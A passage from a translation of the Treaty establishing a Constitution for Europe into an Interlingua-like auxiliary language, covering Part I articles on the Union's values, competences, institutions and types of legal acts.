Union affirma et promove sus valores et interesses. Illa contribue a la pace, a la securitate, al disveloppamento sustenibile del planeta, a la solidaritate et al respecto mutual inter los populos, al commercio libere et eque, a la elimination de la povressa et a la protection de los derectos humanos, specialmente los derectos del infante, assi como a la stricta observation et al disveloppamento del derecto international, in particular respecto pro los principios de la Charta de las Nationes Unitas.\n5. La Union proseque sus objectivos con medios appropriatos, conformemente con las competentias attribuitas a la Union in la Constitution.\nARTICULO I-4\nLibertates fundamentales et non-discrimination\n1. La libere circulation de personas, servicios, mercantias et capital, et libertate de stabilimento, son garantitos in et per La Union, conformemente con lo que est disposito in la Constitution.\n2. In le campo de la application de la Constitution, et sin prejudicio de sus dispositiones particulares, tota discrimination a causa de nationalitate est prohibita.\nConstitution\/ra 11\nARTICULO I-5\nRelationes inter la Union et los Statos membros\n1. La Union respecta la equalitate de los Statos membros ante la Constitution, como anque lores identitates nationales, inherentes in lores structuras fundamentales politicas et constitutionales, includitas autonomia local et regional. La Union respecta las functiones essentiales del Stato, in particular illas pro salvaguarda de la integritate territorial, mantenimento del ordine publico et protection de la securitate national.\n2. In conformitate con le principio de cooperation loyal, la Union et los Statos membros in pleno respecto mutual assisten los unos los alteros in le complimento de missiones que derivan de la Constitution.\nLos Statos membros adoptan totas las mesuras generales aut particulares, appropriatas pro assecurar le complimento de las obligationes derivatas de la Constitution aut resultantes de los actos de las institutiones de la Union.\nLos Statos membros facilitan a la Union le complimento de sus missiones et se abstinen de totas mesuras que potean poner in periculo la realization de los objectivos de la Union.\nARTICULO I-6\nDerectos de la Union\nLa Constitution et las leges adoptatas per las institutiones de la Union, in le exercitio de las competentias que on le attribue a la Union, haben prioritate super las leges de los Statos membros.\nConstitution\/ra 12\nARTICULO I-7\nPersonalitate juridica\nLa Union habe una personalitate juridica.\nARTICULO I-8\nSymbolos de la Union\nLa bandiera de la Union representa un circulo de una dozena de stellas auratas super fundo azur.\nLe hymno de la Union est prendito de la \"Ode a la allegressa\" de la nona symphonia de Ludwig van Beethoven.\nLe motto de la Union est \"Unita in la diversitate\".\nLa moneta de la Union est le euro.\nLe die de Europa est celebrato le 9 de Maio in tota la Union.\nConstitution\/ra 13\nTITULO II\nDERECTOS FUNDAMENTALES ET CITATANITATE DE LA UNION\nARTICULO I-9\nDerectos fundamentales\n1. La Union recognosce los derectos, libertates et principios mentionatos in la Charta de los Derectos Fundamentales que constituen la Parte II de la Constitution.\n2. La Union se adhere a la Convention Europea pro la Protection de los Derectos Humanos et las Libertates Fundamentales. Ista adhesion non modifica las competentias de la Union que se definien in la Constitution.\n3. Los derectos fundamentales garantitos per la Convention Europea pro la Protection de los Derectos Humanos et de las Libertates Fundamentales, et como illos resultan de las traditiones constitutionales communes a los Statos membros, constituen principios generales de la lege de la Union.\nARTICULO I-10\nCitatanitate de la Union\n1. Toto citatano de un Stato membro est un citatano de la Union. La citatanitate de la Union completa la citatanitate national sin substituer la.\nConstitution\/ra 14\n2. Los citatanos de la Union haben los derectos et son subjectos a los deberes mentionatos in la Constitution. Los citatanos haben:\na) le derecto de circular et de resider liberemente in le territorio de los Statos membros;\nb) le derecto de voto et eligibilitate in electiones al Parlamento Europeo et in electiones municipales in le Stato membro in le qual illes residen, a las mesmas conditiones como los citatanos de iste Stato;\nc) le derecto de beneficiar, in le territorio de un tertio pais in le qual non est representato le Stato membro del qual los citatanos son nationales, de la protection de las autoritates diplomaticas et consulares de qualcunque Stato membro a las mesmas conditiones como los citatanos de iste Stato;\nd) le derecto de formular petitiones al Parlamento Europeo, de recurrer al Mediator Europeo, como anque le derecto de diriger se a institutiones et organos consultativos de la Union in una de las linguas de la Constitution et de reciper una responsa in ista mesma lingua.\nConstitution\/ra 15\nIstos derectos se exercen in conformitate con las conditiones et limites definitos in la Constitution et per las dispositiones adoptatas pro la application de la Constitution.\nTITULO III\nLAS COMPETENTIAS DE LA UNION\nARTICULO I-11\nPrincipios fundamentales\n1. La delimitation de las competentias de la Union est regita per le principio de attribution. Le exercitio de istas competentias est regito per los principios de subsidiaritate et de proportionalitate.\n2. In virtute del principio de attribution, la Union age intra los limites de las competentias que los Statos membros le attribuen in la Constitution pro attinger los objectivos que la Constitution determina. Tota competentia non attribuita a la Union in la Constitution pertine a los Statos membros.\n3. In virtute del principio de subsidiaritate, in los dominios que non son de su competentia exclusiva, la Union interveni solamente si los objectivos de la action intendita non poten esser obtenitos de modo sufficiente per los Statos membros, a nivello central aut a nivello regional et local, ma illos poten esser attingitos melio, debito a las dimensiones aut a los effectos de la action in question, al nivello de la Union.\nLas institutiones de la Union applican le principio de subsidiaritate in conformitate con le Protocollo re la application de los principios de subsidiaritate et de proportionalitate. Los Parlamentos nationales velian le respecto de iste principio in conformitate con la procedura mentionata in iste Protocollo.\n4. In virtute del principio de proportionalitate, le contento et la forma de la action de la Union non excede lo que est necessario pro obtener los objectivos de la Constitution.\nConstitution\/ra 16\nLas institutiones de la Union applican le principio de proportionalitate in conformitate con le Protocollo re la application de los principios de subsidiaritate et de proportionalitate.\nARTICULO I-12\nCategorias de competentias\n1. Quando la Constitution attribue a la Union una competentia exclusiva in un dominio determinato, solamente la Union pote legiferar et adoptar actos juridicamente obligatorios, durante que los Statos membros mesmos poten facer lo solamente si autorizatos per la Union pro ista competentia, aut pro applicar los actos de la Union.\n2. Quando la Constitution attribue a la Union una competentia compartita con los Statos membros in un dominio determinato, la Union et los Statos membros poten legiferar et adoptar actos juridicamente obligatorios in iste dominio. Los Statos membros exercen lor competentia in la mesura in la qual la Union non haia exercito su competentia aut haia decidito cessar de exercer la.\n3. Los Statos membros coordinan lores politicas economicas et de empleo secundo las modalitates mentionatas in la Parte III, pro cuja definition la Union dispone de competentia.\n4. La Union dispone de competentia pro definir et realizar una politica exterior et de securitate commun que include la definition progressiva de una politica commun de defensa.\n5. In certos dominios et a las conditiones mentionatas in la Constitution, la Union dispone de competentia pro facer actiones con le fin de appoiar, coordinar aut completar la action de los Statos membros sin per illo reimplaciar lor competentia in istos dominios.\nConstitution\/ra 17\nLos actos juridicamente obligatorios de la Union adoptatos in virtute de las dispositiones de la Parte III relativa a illos dominios non poten comportar harmonization de las dispositiones legislativas et regulamentarias de los Statos membros.\n6. La extension et las conditiones del exercitio de las competentias de la Union son determinatas in las dispositiones de la Parte III relativa a cata dominio.\nARTICULO I-13\nDominios de competentia exclusiva\n1. La Union dispone de competentia exclusiva in los dominios sequentes:\na) la Union doanal;\nb) stabilimento de las regulas de competition necessarias pro le functionamento del mercato interior;\nc) la politica monetaria de los Statos membros cuja moneta est le euro;\nd) la conservation de los ressources biologicos marinos intra le quadro de la politica piscatoria commun;\ne) la politica commercial commun.\n2. La Union dispone equalmente de competentia exclusiva pro la conclusion de un accordo international quando ista conclusion sia prevista in un acto legislativo de la Union, quando la competentia exclusiva sia necessaria pro permitter a la Union exercer su competentia interna aut in la mesura in la qual la competentia exclusiva potea affectar regulas communes aut alterar le campo de las mesmas regulas.\nConstitution\/ra 18\nARTICULO I-14\nDominios de competentia compartita\n1. La Union dispone de competentia compartita con los Statos membros quando la Constitution le attribue una competentia que non corresponde a los dominios mentionatos in los articulos I-13 et I-17.\n2. Las competentias compartitas inter la Union et los Statos membros se applican a los sequentes dominios principales:\na) le mercato interior;\nb) la politica social, relativa a los aspectos definitos in la Parte III;\nc) la cohesion economica, social et territorial;\nd) la agricultura et la pisca, con exception de la conservation de los ressources biologicos marinos;\ne) le ambiente;\nf) la protection de los consumitores;\ng) los transportos;\nh) las retes transeuropeas;\ni) la energia;\nj) le dominio de libertate, de securitate et de justitia;\nk) los aspectos communes de securitate in materia de sanitate publica, in los aspectos definitos in la Parte III.\n3. In los dominios de la recerca, del disveloppamento technologico et del spatio, la Union dispone de competentia pro realizar actiones, in particular destinatas a definir et a realizar programmas, sin que le exercitio de ista competentia potea haber le effecto de impedir a los Statos membros exercer lor competentia.\nConstitution\/ra 19\nARTICULO I-15\nCoordination de politicas economicas et de empleo\n1. Los Statos membros coordinan lores politicas economicas in la Union. Pro iste fin le Consilio de Ministros adopta mesuras, in particular las orientationes generales pro istas politicas.\nSon applicatas dispositiones particulares a los Statos membros cuja moneta est le euro.\n2. La Union prende mesuras pro garantir la coordination de las politicas de empleo de los Statos membros, in particular definiendo lineas directivas pro istas politicas.\n3. La Union pote adoptar initiativas pro garantir la coordination de las politicas sociales de los Statos membros.\nARTICULO I-16\nPolitica exterior et de securitate commun\n1. La competentia de la Union in materia de politica exterior et de securitate commun attinge totos los dominios de la politica exterior et totas las questiones relativas a la securitate de la Union, includita la definition progressiva de una politica commun de defensa, que pote conducer a una defensa commun.\nConstitution\/ra 20\n2. Los Statos membros appoian activamente et sin reservas la politica exterior et de securitate commun de la Union, in un spirito de loyalitate et solidaritate mutual, respectando la action de la Union in iste dominio. Los Statos membros se abstinen de tota action contraria a los interesses de la Union aut de tota action que potea diminuer su efficacia.\nARTICULO I-17\nDominios de actiones de appoio, coordination aut complemento\n1. La Union dispone de competentia pro prender actiones de appoio, de coordination aut de action complementaria. Los dominios de istas actiones son, al nivello europeo:\na) protection et melioration de la sanitate humana;\nb) industria;\nc) cultura;\nd) tourismo;\ne) education, juventute, sport et formation professional;\nf) protection civil;\ng) cooperation administrativa.\nConstitution\/ra 21\nARTICULO I-18\nClausula de flexibilitate\n1.Quando on considerae necessaria una action de la Union in le quadro definito in la Parte III, pro obtener uno de los objectivos fixatos per la Constitution, sin que la Constitution haia previsto los poteres necessarios, le Consilio de Ministros, per unanimitate, per proposition de la Commission et previa approbation del Parlamento Europeo, adopta las mesuras appropriatas.\n2. La Commission Europea, in le quadro de la procedura de controlo del principio de subsidiaritate mentionato in le articulo I-11(3), indica a los parlamentos nationales de los Statos membros las propositiones fundatas super le articulo presente.\n3. Las mesuras fundatas super le presente articulo non poten comportar una harmonization de las dispositiones legislativas et regulamentarias de los Statos membros, in los casos in los quales la Constitution exclude una tal harmonization.\nConstitution\/ra 22\nTITULO IV\nINSTITUTIONES ET ORGANOS DE LA UNION\nCAPITULO I\nLE QUADRO INSTITUTIONAL\nARTICULO I-19\nInstitutiones de la Union\n1. La Union dispone de un quadro institutional que habe como scopo:\n- promover sus valores;\n- prosequer sus objectivos;\n- servir sus interesses, los de sus citatanos et los de los Statos membros;\n- garantir la coherentia, la efficacia et la continuitate de sus politicas et actiones.\nIste quadro institutional est formato per:\n- le Parlamento Europeo,\n- le Consilio Europeo,\nConstitution\/ra 23\n- le Consilio de Ministros (infra denominato \"Consilio\"),\n- la Commission Europea (infra denominata \"Commission\"),\n- le Tribunal de Justitia de la Union Europea.\n2. Cata institution age intra los limites de las competentias que on le attribue in la Constitution, in conformitate con las proceduras et conditiones mentionatas in la Constitution. Las institutiones mantenen inter se una cooperation loyal.\nARTICULO I-20\nLe Parlamento Europeo\n1. Le Parlamento Europeo exerce, junctamente con le Consilio, la function legislativa et la function budgetaria. Illo exerce functiones de controlo politico et functiones consultativas a conditiones previstas per la Constitution. Le Parlamento elige le Presidente de la Commission Europea.\n2. Le Parlamento Europeo est composito de representantes de citatanos de la Union. Su numero non debe exceder septe centos cinquanta. La representation de los citatanos est in modo de proportionalitate decrescente, con un minimo de sex deputatos per Stato membro. On non assigna a necun Stato membro plus de novanta sex sedes.\nLe Consilio Europeo adopta per unanimitate, per initiativa del Parlamento Europeo et con su approbation, una decision europea que stabili la composition del Parlamento Europeo conformemente con los principios a los quales le primo paragrapho refere.\nConstitution\/ra 24\n3. Los deputatos del Parlamento Europeo son eligitos per suffragio universal directo, libere et secreto, pro un periodo de cinque annos.\n4. Le Parlamento Europeo elige su Presidente et su presidium inter sus deputatos.\nARTICULO I-21\nLe Consilio Europeo\n1. Le Consilio Europeo da a la Union los impulsos necessarios pro su disveloppamento et defini sus orientationes et prioritates politicas generales. Illo non exerce function legislativa.\n2. Le Consilio Europeo est composito de los chefes de Stato aut de Governamento de los Statos membros, assi como de su Presidente et del Presidente de la Commission. Le Ministro de Affaceres Exteriores de la Union participa in sus labores.\n3. Le Consilio Europeo se reuni cata trimestre convocato per su Presidente. Quando le ordine del die lo exige, los membros del Consilio Europeo poten decider que cata membro del Consilio potea esser assistito per un ministro et, in le caso del Presidente de la Commission, per un membro de la Commission. Quando la situation lo exige, le Presidente convoca una reunion extraordinaria del Consilio Europeo.\n4. Le Consilio Europeo prende decisiones per consenso, salvo quando la Constitution disponea alteramente.\nConstitution\/ra 25\nARTICULO I-22\nLe Presidente del Consilio Europeo\n1. Le Consilio Europeo elige su Presidente per majoritate qualificata pro un mandato de duos annos et medio, que est renovabile una sola vice. In caso de serio impedimento aut falta grave, le Consilio Europeo pote poner fin a su mandato per la mesma procedura.\n2. Le Presidente del Consilio Europeo:\na) preside et anima los labores del Consilio Europeo;\nb) se incarga de la preparation et continuitate de los labores del Consilio Europeo, in collaboration con le Presidente de la Commission, et super la base de los labores del Consilio de Affaceres Generales;\nc) se effortia pro facilitar la cohesion et le consenso in le sino del Consilio Europeo;\nd) presenta un reporto al Parlamento Europeo post cata incontro del Consilio Europeo.\nLe Presidente del Consilio Europeo assume, a su nivello et qualitate, la representation externa de la Union in los affaceres de politica exterior et de securitate commun, sin prejudicio de las attributiones del Ministro de Affaceres Exteriores de la Union.\n3. Le Presidente del Consilio Europeo non pote exercer un mandato national.\nConstitution\/ra 26\nARTICULO I-23\nLe Consilio de Ministros\n1. Le Consilio exerce, conjunctamente con le Parlamento Europeo, la function legislativa, la function budgetaria et las functiones de definition de politica et de coordination, in conformitate con conditiones fixatas per la Constitution.\n2. Le Consilio est composito de un representante de cata Stato membro, a nivello ministerial, autorizato a facer decisiones obligatorias pro le Governamento del Stato membro que ille aut illa representae, et a exercer su derecto de voto.\n3. Le Consilio de Ministros prende decisiones per majoritate qualificata, salvo quando la Constitution disponea alteramente.\nARTICULO I-24\nFormationes del Consilio de Ministros\n1. Le Consilio se reuni in varias formationes.\n2. Le Consilio de Affaceres Generales assecura la coherentia de los labores de las varias formationes del Consilio. Illo prepara las reuniones del Consilio Europeo conjunctamente con le Presidente del Consilio Europeo et la Commission.\nConstitution\/ra 27\n3. Le Consilio de Affaceres Exteriores elabora la action externa de la Union secundo las lineas strategicas definitas per le Consilio Europeo et assecura la coherentia de las actiones de la Union.\n4. Le Consilio Europeo adopta per majoritate qualificata una decision europea stabiliendo la relation de las alteras formationes del Consilio.\n5. Un Committato de Representantes Permanente de los Governamentos de los Statos membros se incarga de preparar los labores del Consilio.\n6. Las reuniones del Consilio son publicas quando illo delibera et vota re un projecto de acto legislativo. Con iste fin, cata session del Consilio se divide in duas partes, dedicatas respectivamente a las deliberationes re los actos legislativos de la Union et a las activitates non-legislativas.\n7. La Presidentia de las formationes del Consilio, con exception de la Presidentia de Affaceres Exteriores, est assumita per los representantes de los Statos membros in le Consilio secundo un systema de rotation equal, in conformitate con las conditiones previstas per una decision europea del Consilio Europeo. Le Consilio Europeo prende decision per majoritate qualificata.\nARTICULO I-25\nDefinition de la majoritate qualificata in le Consilio Europeo et in le Consilio\n1. La majoritate qualificata se defini como al minus 55% de los membros del Consilio, con un minimo de 15 membros del Consilio, qui deben representar Statos membros que insimul continean al minus 65% de la population de la Union.\nConstitution\/ra 28\nUna minoritate blocante debe comprehender al minus quatro membros del Consilio; si iste numero de quatro non est attingito, la majoritate qualificata est considerata obtenita.\n2. Nonobstante lo que est disposito in le paragrapho 1, quando le Consilio non prende decision re una proposition de la Commission aut del Ministro de Affaceres Exteriores de la Union, la majoritate qualificata se defini como al minus 72% de los membros del Consilio que representaen Statos membros con al minus 65% de la population de la Union.\n3. Los paragraphos 1 et 2 se applican al Consilio Europeo quando illo decide per majoritate qualificata.\n4. Le Presidente del Consilio Europeo et le Presidente de la Commission non participan in las votationes del Consilio Europeo.\nARTICULO I-26\nLa Commission Europea\n1. La Commission promove le interesse general de la Union et prende las initiativas adequatas con iste fin. La Commission survelia la application de la Constitution et de las dispositiones adoptatas per las institutiones in virtute de la Constitution. Illa survelia la application del Derecto de la Union sub le controlo del Tribunal de Justitia de la Union Europea. Illa executa le budget et gere los programmas. Illa exerce las functiones de coordination, de execution et gestion, in conformitate con las conditiones previstas per la Constitution. Con exception de la politica exterior et de la securitate commun et de los alteros casos previstos per la Constitution, la Commission assume la representation externa de la Union. Illa prende las initiativas de la programmation annual et pluriannual de la Union con le scopo de attinger accordos interinstitutionales.\nConstitution\/ra 29\n2. Los actos legislativos de la Union deben esser adoptatos per proposition de la Commission, salvo si la Constitution dispone alteramente. Los alteros actos son adoptatos per proposition de la Commission quando la Constitution lo prescribe assi.\n3. Le mandato de la Commission est cinque annos.\n4. Los membros de la Commission son eligitos in ration de lor competentia general et de lor ingagiamento europeo et inter personas cuja independentia est garantita.\n5. La prima Commission nominata, in conformitate con lo que est disposito in la Constitution, est composita de un citatano de cata Stato membro, includitos le Presidente et le Ministro de Affaceres Exteriores de la Union, qui est uno de sus Vicepresidentes.\n6. Ab le fin del mandato de la Commission mentionata in le paragrapho 5, la Commission est composita de un numero de membros correspondentes a los duos tertios del numero de Statos membros, que include su Presidente et le Ministro de Affaceres Exteriores de la Union, a minus que le Consilio Europeo per unanimitate decidea modificar iste numero.\nLos membros de la Commission son selectionatos inter los citatanos de los Statos membros secundo un systema de rotation equal inter los Statos membros. Iste systema est stabilito per una decision europea adoptata per unanimitate per le Consilio Europeo et in conformitate con los sequentes principios:\na) los Statos membros son tractatos absolutamente equalmente pro la determination et duration de lor membrato in la Commission. In consequentia, la differentia inter le numero total de periodos de mandato pro citatanos de duos Statos membros nunquam debe esser superior a uno.\nConstitution\/ra 30\nb) Salvo le puncto a), cata una de las successivas Commissiones est constituita de tal modo que illa reflectea de maniera satisfactoria la diversitate demographica et geographica del insimul de los Statos membros.\n7. La Commission exerce sus responsabilitates con absoluta independentia. Sin prejudicio del articulo I-28(2), los membros de la Commission non sollicitan aut acceptan instructiones de necun governamento, institution, organo aut organismo. Los membros de la Commission se abstinen de tota action incompatibile con lores obligationes aut con la execution de lores functiones.\n8. La Commission habe una responsabilitate collectiva ante le Parlamento Europeo. Le Parlamento Europeo pote adoptar una motion de censura contra la Commission in conformitate con le articulo III-340. Si una tal motion est approbata, los membros de la Commission deben dimitter se collectivamente de lores cargos et le Ministro de Affaceres Exteriores de la Union debe dimitter se del cargo que ille exerce in la Commission.\nARTICULO I-27\nLe Presidente de la Commission Europea\n1. In consideration del resultato de las electiones al Parlamento Europeo et post consultationes appropriatas, le Consilio Europeo propone al Parlamento Europeo, per majoritate qualificata, un candidato a la function de Presidente de la Commission. Le Parlamento Europeo elige le candidato per majoritate de sus membros. In le caso que le candidato non habea ista majoritate, le Consilio Europeo propone al Parlamento un novo candidato intra un mense, per la mesma procedura.\nConstitution\/ra 31\n2. Le Consilio, in accordo commun con le Presidente eligito, adopta la lista de alteras personalitates que le Consilio propone nominar como membros de la Commission. Istas personas son selectionatas super la base de propositiones presentatas per los Statos membros, in conformitate con los criterios mentionatos in le articulo I-26(4) et in la secunda parte de I-26(6). Le Presidente, le Ministro de Affaceres Exteriores de la Union et los alteros membros de la Commission se submitten collectivamente a un voto de approbation del Parlamento Europeo. Super la base de ista approbation, la Commission est nominata per le Consilio Europeo, per majoritate qualificata.\n3. Le Presidente de la Commission:\na) defini las orientationes pro missiones de la Commission;\nb) determina la organization interna de la Commission a fin de assecurar la coherentia, efficacia et collegialitate de sus actiones;\nc) nomina los Vicepresidentes, distinctos del Ministro de Affaceres Exteriores de la Union, inter los membros de la Commission.\nUn membro de la Commission presenta su dimission, si le Presidente le lo demandae. Le Ministro de Affaceres Exteriores de la Union presenta su dimission, si le Presidente le lo demandae, in conformitate con la procedura stabilita in le articulo I-28(1).\nConstitution\/ra 32\nARTICULO I-28\nLe Ministro de Affaceres Exteriores de la Union\n1. Per majoritate qualificata et con la approbation del Presidente de la Commission, le Consilio Europeo nomina le Ministro de Affaceres Exteriores de la Union. Le Consilio Europeo pote poner fin a su mandato per la mesma procedura.\n2. Le Ministro de Affaceres Exteriores de la Union conduce la politica exterior et de securitate commun de la Union. Ille contribue con sus propositiones pro elaborar ista politica exterior et ille la executa como mandatario del Consilio. Ille age del mesme modo in relation con la politica de securitate et defensa commun.\n3. Le Ministro de Affaceres Exteriores de la Union preside le Consilio de Affaceres Exteriores.\n4. Le Ministro de Affaceres Exteriores de la Union est uno de los Vicepresidentes de la Commission. Ille velia la coherentia de la action externa de la Union. In la Commission ille se incarga de las responsabilitates que incumben a la Commission in le campo de las relationes externas pro coordinar los alteros aspectos de la action externa de la Union. In le exercitio de istas responsabilitates intra la Commission, et exclusivamente pro ista sorte de responsabilitates, le Ministro de Affaceres Exteriores de la Union est subjecto a las proceduras que regulan le functionamento de la Commission, in tanto que isto sia compatibile con los paragraphos 2 et 3.\nConstitution\/ra 33\nARTICULO I-29\nLe Tribunal de Justitia de la Union Europea\n1. Le Tribunal de Justitia de la Union Europea comprehende le Tribunal de Justitia, le Tribunal General et los tribunales specializatos. Illo garanti le respecto de derecto in la interpretation et application de la Constitution.\nLos Statos membros stabilien los remedios jurisdictionales necessarios pro garantir una jurisdiction efficiente in los sectores copertos per le Derecto de la Union.\n2. Le Tribunal de Justitia est composito de un judice de cata Stato membro. Illo est assistito per advocatos generales.\nLe Tribunal General dispone de al minus un judice per Stato membro.\nLos judices et los advocatos generales del Tribunal de Justitia et los judices del Tribunal General son eligitos inter personas qui offeren plena garantia de independentia et qui satisfacen las conditiones requiritas in los articulos III-355 et III-356. Illes son appunctatos in accordo commun per los governamentos de los Statos membros pro un mandato de sex annos. Los judices et los advocatos sortientes poten esser nominatos de novo.\n3. Le Tribunal de Justitia de la Union Europea decide in conformitate con la Parte III:\na) re los recursos presentatos per un Stato membro, per una institution aut per personas physicas aut juridicas;\nb) con character prejudicial, per petition de organos jurisdictionales nationales, re la interpretation del Derecto de la Union aut re la validitate de los actos adoptatos per las institutiones;\nConstitution\/ra 34\nc) in los alteros casos previstos per la Constitution.\nCAPITULO II\nALTERAS INSTITUTIONES ET ORGANOS CONSULTATIVOS DE LA UNION\nARTICULO I-30\nLa Banca Central Europea\n1. La Banca Central Europea et las bancas centrales nationales forman le Systema Europeo de Bancas Centrales. La Banca Central Europea et las bancas centrales nationales de los Statos membros cuja moneta est le euro, las quales constituen le Eurosystema, exercen la politica monetaria de la Union.\n2. Le Systema Europeo de Bancas Centrales est dirigito per los organos de decision de la Banca Central Europea. Le objectivo principal del Systema Europeo de Bancas Centrales est mantener la stabilitate de los precios. Sin prejudicio de iste objectivo, illo presta appoio a las politicas economicas generales de la Union pro contribuer a la realization de los objectivos de la Union. Illo realiza totas las alteras missiones de una banca central in conformitate con la Parte III et con los Statutos del Systema Europeo de Bancas Centrales et de la Banca Central Europea.\n3. La Banca Central Europea est una institution. Illa habe personalitate juridica. Illa habe la unica habilitate a autorizar la emission del euro. Illa est independente in le exercitio de sus competentias et in la gestion de sus financias. Las institutiones, organos et organismos de la Union et los governamentos de los Statos membros respectan ista independentia.\nConstitution\/ra 35\n4. La Banca Central Europea adopta las mesuras necessarias pro le complimento de sus commissiones in conformitate con los articulos III-185 a III-191 et III-196 et con las conditiones stabilitas in los Statutos del Systema Europeo de Bancas Centrales et de la Banca Central Europea. In conformitate con los articulos mentionatos, los Statos membros cuja moneta non est le euro, et anque lores bancas centrales, mantenen lores competentias in le dominio monetario.\n5. In los dominios de su competentia, on consulta la Banca Central Europea concernente cata projecto de acto de la Union et anque concernente cata projecto de regulamentation al nivello national. Le Banca pote dar su aviso.\n6. Los organos de decision de la Banca Central Europea, lor composition et lores conditiones de functionamento son definitas in los articulos III-192, III-193, III-382 et III-383 et anque in los Statutos del Systema Europeo de Bancas Centrales et de la Banca Central Europea.\nARTICULO I-31\nLe Tribunal de Contos\n1. Le Tribunal de Contos est una institution. Illo effectua le controlo de los contos de la Union.\n2. Le Tribunal de Contos examina los contos de la totalitate de las receptas et de las dispensas de la Union et garanti una bona gestion financiaria.\n3. Le Tribunal de Contos est composito de un citatano de cata Stato membro. Los membros del Tribunal exercen lores functiones con plena independentia, in interesse general de la Union.\nConstitution\/ra 36\nARTICULO I-32\nOrganos consultativos de la Union\n1. Le Parlamento Europeo, le Consilio et la Commission Europea son assistitos per un Committato de las Regiones et per un Committato Economico et Social, los quales exercen functiones consultativas.\n2. Le Committato de las Regiones est composito de representantes de las collectivitates regionales et locales que son sia titulares de un mandato electoral in una collectivitate regional aut local, sia politicamente responsabile ante una assemblata eligita.\n3. Le Committato Economico et Social est composito de representantes de las organizationes de empleatores, de empleatos, et de los alteros sectores representativos de la societate civil, in particular in los dominios socio-economicos, civicos, professionales et culturales.\n4. Los membros del Committato de Regiones et del Committato Economico et Social non son ligatos per necun mandato imperativo. Illes exercen lores functiones con plena independentia in le interesse general de la Union.\n5. Las regulas relativas a la composition de istos Committatos, a la designation de lores membros, lores competentias et a lores attributiones et functionamento, son definitas in los articulos III-386 a III-392.\nLas regulas mentionatas in los paragraphos 2 et 3, relativas al character de lor composition, son revistas periodicamente per le Consilio pro tener conto de la evolution economica, social et demographica in la Union. Le Consilio, per proposition de la Commission, adopta decisiones europeas pro iste scopo.\nConstitution\/ra 37\nTITULO V\nEXERCITIO DE LAS COMPETENTIAS DE LA UNION\nCAPITULO I\nDISPOSITIONES COMMUNES\nARTICULO I-33\nActos juridicos de la Union\n1. Pro exercer las competentias de la Union las institutiones utilizan los sequentes instrumentos juridicos, in conformitate con lo que est disposito in la Parte III: la lege europea, la lege-quadro europea, le regulamento europeo, la decision europea, las recommendationes, et los avisos.\nLa lege europea est un acto legislativo de portata general. Illa est obligatoria in totos sus elementos et directamente applicabiles in cata Stato membro.\nLa lege-quadro europea est un acto legislativo que obliga le Stato membro destinatario quanto al resultato a attinger, ma lassando a las autoritates nationales la competentia de eliger la forma et los medios.\nLe regulamento europeo est un acto non-legislativo de portata general que habe per objecto la execution de actos legislativos et de certas dispositiones de la Constitution. Illo pote sia esser obligatorio in totos sus elementos et directamente applicabile in cata Stato membro, sia obligar cata Stato membro destinatario quanto al resultato a attinger, ma lassando a las autoritates nationales la competentia de eliger la forma et los medios.\nConstitution\/ra 38\nLa decision europea est un acto non-legislativo obligatorio in totos sus elementos. Quando illa designa destinatarios, la decision est obligatoria solamente pro istos destinatarios.\nLas recommendationes et los avisos non haben effecto obligatorio.\n2. Quando una proposition de acto legislativo se presenta al Parlamento Europeo et al Consilio, istos se abstinen de adoptar actos non previstos per la procedura legislativa applicabile al dominio concernito.\nARTICULO I-34\nActos legislativos\n1. Las leges et las leges-quadro europeas, per proposition de la Commission, son adoptatas conjunctamente per le Parlamento Europeo et le Consilio, in conformitate con las proceduras legislativas speciales mentionatas in le articulo III-396. Si istas duas institutiones non pervenien a un accordo, le acto in question non est adoptato.\n2. In los casos specificos mentionatos in la Constitution, las leges et leges-quadro europeas son adoptatas per le Parlamento Europeo con la participation del Consilio, aut per le Consilio con la participation del Parlamento Europeo, secundo proceduras legislativas speciales.\n3. In los casos specificos previstos per la Constitution, las leges et leges-quadro europeas poten esser adoptatas per initiativa de un gruppo de Statos membros aut del Parlamento Europeo, per recommendation de la Banca Central Europea, aut per petition del Tribunal de Justitia de la Union Europea aut de la Banca Europea de Investimentos.\nConstitution\/ra 39\nARTICULO I-35\nActos non-legislativos\n1. Le Consilio Europeo adopta decisiones europeas in los casos mentionatos in la Constitution.\n2. Le Consilio et la Commission, in particular in los casos mentionatos in los articulos I-36 et I-37, assi como la Banca Central Europea in los casos specificos mentionatos in la Constitution, adoptan regulamentos aut decisiones europeas.\n3. Le Consilio adopta recommendationes. Le Consilio decide, per proposition de la Commission, in totos los casos in los quales la Constitution dispone que le Consilio adoptae actos per proposition de la Commission. Le Consilio prende decision per unanimitate in los dominios pro los quales la unanimitate est requirita pro la adoption de un acto de la Union. La Commission assi como la Banca Central Europea, in los casos specificos previstos per la Constitution, adoptan recommendationes.\nARTICULO I-36\nRegulamentos europeos delegatos\n1. Las leges et las leges-quadro europeas poten delegar a la Commission le poter de adoptar regulamentos europeos delegatos que completaen aut modificaen certos elementos non-essentiales de la lege aut de la lege-quadro.\nConstitution\/ra 40\nLas leges et leges-quadro europeas delimitan explicitamente los objectivos, le contento, le campo de application et la duration de la delegation de poter. La regulation de los elementos essentiales de un dominio est reservata a la lege aut a la lege-quadro europea et, consequentemente non poten esser objecto de una delegation de poter.\n2. Las leges et leges-quadro europeas fixan explicitamente las conditiones a las quales la delegation est subjecta, que poten esser las sequentes:\na) le Parlamento Europeo aut le Consilio poten decider revocar la delegation;\nb) le regulamento europeo delegato solamente pote entrar in vigor, si le Parlamento Europeo aut le Consilio non ha formulato objectiones intra le periodo fixato in la lege aut lege-quadro europea.\nConcernente los punctos a) et b), le Parlamento Europeo decide per majoritate de sus membros, et le Consilio lo face per majoritate qualificata.\nARTICULO I-37\nActos de execution\n1. Los Statos membros prenden totas las mesuras de Derecto internas necessarias pro la execution de los actos juridicamente obligatorios de la Union.\n2. Quando conditiones uniformes de execution de los actos juridicamente obligatorios de la Union son necessarias, istos actos conferen competentias de execution a la Commission, aut, in casos specificos debitamente justificatos et in los casos mentionatos in le articulo I-40, al Consilio.\n3. Pro los scopos de paragrapho 2, la lege europea stabili previamente las regulas et principios generales relativos a las modalitates de controlo, per los Statos membros, del exercitio de la competentia de execution per la Commission.\n4. Los actos de execution de la Union prenden la forma de regulamentos europeos de execution aut de decisiones europeas de execution.\nConstitution\/ra 41\nARTICULO I-38\nPrincipios communes de los actos juridicos de la Union\n1. Quando la Constitution non stabili le typo de acto que on debe adoptar, las institutiones deciden in cata caso, in conformitate con proceduras applicabiles et con le principio de proportionalitate mentionato in le articulo I-11.\n2. Los actos juridicos deben esser motivatos et referer a las propositiones, initiativas, recommendationes, petitiones aut avisos mentionatos in la Constitution.\nARTICULO 